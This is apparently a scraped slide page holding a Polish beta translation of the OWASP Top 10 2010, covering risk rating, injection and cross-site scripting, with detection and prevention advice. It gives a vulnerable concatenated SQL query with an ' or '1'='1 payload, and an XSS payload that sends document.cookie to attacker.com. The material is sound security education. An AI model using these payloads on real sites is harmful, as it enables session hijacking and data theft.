Owasp top 10 2010 final PL Beta

Luka Luka Luka Luka Jakie są zagrożenia bezpieczeństwa aplikacji? Napastnicy potencjalnie mogą używać wiele sposobów aby przez aplikację dostać się do wnętrza organizacji w celu wyrządzenia szkód. Każdy z tych sposobów przedstawia zagrożenie które może, lub nie, być na tyle poważne żeby na nie zwrócić uwagę. Czasami znalezienie odpowiedniego exploita okazuje się trywialną sprawą, a czasem bardzo trudną. Podobnie, wyrządzone szkody, mogą okazać się od zerowych aż do takich które powodują upadek Twojej organizacji. Aby określić ryzyko dla Twojej organizacji, możesz ocenić prawdopodobieństwo związane z każdym zagrożeniem, wektorem ataku, słabościami bezpieczeństwa I połączyć je z szacunkowym skutkiem dla Twojej organizacji. Wszystkie te czynniki, razem określają całkowite zagrożenie. Czynniki Zagrożenia Wektory Ataku Wpływ Techniczny Wpływ Biznesowy Kontrola Bezpieczeństwa Luki bezpieczeństwa Wpływ Kontrola Atak Aktywa Kontrola Atak Wpływ Funkcje Atak Wpływ Aktywa Kontrola Jakie jest moje zagrożenie? Aktualne wydanie OWASP Top 10 skupia się na identyfikowaniu najważniejszych zagrożeń dla szerokiego wachlarza organizacji. Dla każdego z poniższych zagrożeń, przedstawimy ogólne informacje na temat prawdopodobieństwa, oraz całkowitego skutku używając tego oto prostego schematu ceny, który jest oparty na metodologii szacowania ryzyka OWASP. Jednakże tylko Ty znasz specyfikację swojego środowiska oraz biznesu. Dla wybranej aplikacji, może nie być odpowiedniego zagrożenia podatnego na odpowiedni atak, lub też skutki techniczne mogą nie mieć żadnego wpływu na działanie aplikacji. Dlatego też, powinieneś sam ocenić ryzyko, skupiając się na zagrożeniach, kontrolach bezpieczeństwa, oraz skutkami biznesowymi dla Twojej organizacji. Chociaż poprzednie wersje OWASP Top 10 skupiały się na identyfikowaniu najbardziej znanych luk, to zostały zbudowane również w oparciu o zagrożenie. Nazwy zagrożeń w Top 10, wywodzą się z typu ataku, typu słabości, oraz skutku jaki mogą spowodować. Wybrane nazwy są najbardziej znane oraz osiągają najwyższy stopień świadomości. Odwołania OWASP ,[object Object]

Artykuł dot. Modelowania Ryzyk/ ZagrożeńZewnętrzne ,[object Object]

Microsoft Threat Modeling (STRIDE i DREAD)Ryzyka Bezpieczeństwa Aplikacji RA

OWASP Top 10 Ryzyk Bezpieczeństwa Aplikacji – 2010 T10

Słabosci Bezpieczeństwa Wpływ Techniczny Wpływ Biznesowy Wektory Ataku Czynniki Zagrożenia Czy jestem podatny na wstrzyknięcia? Najlepszym sposobem identyfikacje tej luki , jest sprawdzenie czy interpretery poprawnie oddzielają dane autoryzowane od nieautoryzowanych. Dla zapytań SQL, oznacza to wiązanie zmiennych z już wcześniej przygotowanymi zapytaniami oraz procedurami, unikając w ten sposób dynamicznych zapytań. Przegląd kodu jest szybkim I efektywnym sposobem na sprawdzenie poprawności działania interpretera. Narzędzia do analizy kodu, z pewnością pomogą analitykowi bezpieczeństwa, prześledzić przepływ danych przez aplikację. Manualne testy penetracyjne, potwierdzą wystąpienie błędu poprzez napisanie własnoręcznie exploita. Zautomatyzowane skanowania mogą naprowadzić na miejsce potencjalnego wystąpienia błędu. Jednak nie zawsze skanery są w stanie przeprowadzić kompletny atak. Jak się bronić przed wstrzyknięciami? Zapobieganie wstryzknięciom wymaga odseparowania niezaugfanych danych od zapytań I poleceń. Preferowaną opcją jest używanie bezpiecznego API, które całkowicie unika wykorzystywania interpretera lub umożliwia dostęp do spametryzowanego interfejsu. Należy uwazac nawet na sparametryzowane API, poniewaz mogabyc w nich zaszyte dodatkowe polecenia. Jeżeli nie ma dostępnego sparametryzowanego API, należy ostrożnie ecsapować znaki kierowane do interpretera. OWASP's ESAPI posiada już gotowe rozwiązania. Stosowanie “whitelisty”również pomoże w podniesieniu bezpieczeństwa aplikacji. , jednak nie jestto definitywne rozwiązanie, ponieważ niektóre aplikacje wymagają znaków specjalnych. OWASP's ESAPI posiada rozszerzalną bibliotekę zasad walidacji dla white listy. Przykładowy atak Aplikacja używa danych z niezaufanego źródła w celu skonstruowania podatnego na bledyzapytania SQL: String query = "SELECT * FROM konta WHERE klientID='" + request.getParameter("id") +"'"; Atakujący modyfikuje wartość parametru id, w taki sposób , że wysyła ‘, lub ‘ or‘1’=’1. Zmienia to postać zapytania, w taki sposób, że zapytanie zwraca wszystkie rekordy, zamiast tylko jednego: http://przyklad.com/app/kontoView?id=' or '1'='1 W najgorszym przypadku, atakujący użyje tej podatności w celu wywołania predefiniowanych procedur w bazie danych, umożliwiających na całkowite przejęcie kontroli nad bazą danych. Odwołania OWASP ,[object Object]

ASVS: Output Encoding/Escaping Requirements (V6)

OWASP Testing Guide: Chapter on SQL Injection Testing

OWASP Code Review Guide: Chapter on SQL Injection

OWASP Code Review Guide: Command InjectionZewnętrzne ,[object Object]

CWE Entry 89 on SQL InjectionA1 Wstrzyknięcia

Cross-Site Scripting (XSS) A2 Słabosci Bezpieczeństwa Wpływ Techniczny Wpływ Biznesowy Wektory Ataku Słabosci Bezpieczeństwa Czynniki Zagrożenia Czy jestem podatny na XSS?? Należy upewnić się czy przed wysłaniem do przeglądarki danych otrzymanych od użytkownika, wszystkie znaki zostały odpowiednio zweryfikowane. Odpowiednia weryfikacja na wyjściu zapewnia, że tekst odczytywany w przeglądarce jest traktowany jako test a nie aktywna część strony. Narzędzia zarówno do statycznej jak I dynamicznej analizy kodu, są w stanie znaleźć niektóre błędy XSS automatycznie. Niestety, większość web aplikacji buduje strony w trochę inny sposób, lub też używa innego rodzaju interpreterów ( JavaScript, ActiveX, Flash, Silverlight) które znacznie utrudniają automatyczną detekcję błędów. Dlatego też, wymagane jest połączenie manualnej analizy kodu, oraz testu penetracyjnego w połączeniu z narzędziami automatyzującymi ten proces. Technologie Web 2.0, typu AJAX znacznie utrudniają wykrycie XSS. Jak się bronić przed XSS? Zabezpieczanie się przed XSS wymaga trzymania niezaufanych danych z dala od aktywnej zawartości strony.. Preferowanym wyborem jest escapowanie wszystkich niezaufanych danych, w zależności od miejsca użycia. Mowa utaj o umieszczaniu danych w kontekście body, atrybutów, JavaScript, XSS, URL. Jeżeli dany frameworków nie posiada automatycznego escapowania znaków, to programiści powinni to zadbać. Więcej informacji: OWASP XSS Prevention Cheat Sheet Zalecane jest również stosowanie White listy, która znacznie pomaga zabezpieczyć się przed atakami typu XSS, ale nie zapewnia 100% bezpieczeństwa, ponieważ niektóre aplikacje wymagają używania znaków specjalnych. Tego typu walidacja powinna rozkodować otrzymane dane, zwalidować ich długość, znaki, oraz odpowiednio sformatować zanim nastąpi ich akceptacja. Prosimy o rozważenie zastosowania Content Security Policyod Mozilla, użytego w Firefox 4 w celu obrony przed XSS Przykładowy atak Aplikacja używa niezaufanych danych w celu wyświetlenia następującego kodu HTML bez jakiejkolwiek wcześniejszej walidacji lub escapowania znaków: (String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>"; Atakujący zmienia w przeglądarce parametr ‘CC’ na: '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'. Powoduje to wysłanie ID sesji ofiary do strony atakującego. Dzięki temu, atakujący jest w stanie przejąć sesję ofiary UWAGA, XSS może być użyte w celu ominięcia zabezpieczeń przed CSRF. Więcej informacji w dziale A5. Odwołania ,[object Object]

OWASP Cross-Site Scripting Article

Owasp top 10 2010 final PL Beta

Recommended

Recommended

More Related Content

What's hot

What's hot (7)

Similar to Owasp top 10 2010 final PL Beta

Similar to Owasp top 10 2010 final PL Beta (20)

Owasp top 10 2010 final PL Beta

Editor's Notes